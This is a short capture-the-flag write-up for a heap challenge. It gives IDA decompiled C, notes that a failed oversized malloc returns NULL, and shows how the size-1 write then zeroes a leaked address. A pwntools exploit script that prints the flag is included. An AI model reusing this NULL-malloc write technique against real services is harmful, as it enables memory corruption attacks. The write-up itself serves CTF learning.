__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
char *v4; // rbp
size_t v5; // rdx
size_t size; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-20h]
canary = __readfsqword(0x28u);
sub_B4E(a1, a2, a3);
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ");
size = 0LL;
_isoc99_scanf("%lu", &size);
v4 = malloc(size);
_printf_chk(1LL, "Enter your message: ");
read(0, v4, size);
v5 = size;
v4[size - 1] = 0;
write(1, v4, v5);
if ( !*v3 )
system("cat /flag");
return 0LL;
}
See ida and analyze first.
- malloc 0x40000 to v3 and *v3 is 1
- print heap address
- malloc input size and gets input
- v4[size-1] = 0
- if *v3 is 0, cat flag
If malloc big size like 0x40000,
it calls mmap
to allocate memory. So address usually like 0x7fXXXXXX
If malloc toooo big size, it returns a NULL pointer.
v4[size -1] = 0
In this code, when malloc fails, we can set arbitrary address (size-1) to 0
import sys
from pwn import *
r=remote(sys.argv[1],int(sys.argv[3]))
context.log_level='debug'
r.recvuntil(b": ")
leak=int(r.recvline().strip(),16)
r.sendafter(b"Length of your message: ",str(leak+1).encode())
r.interactive()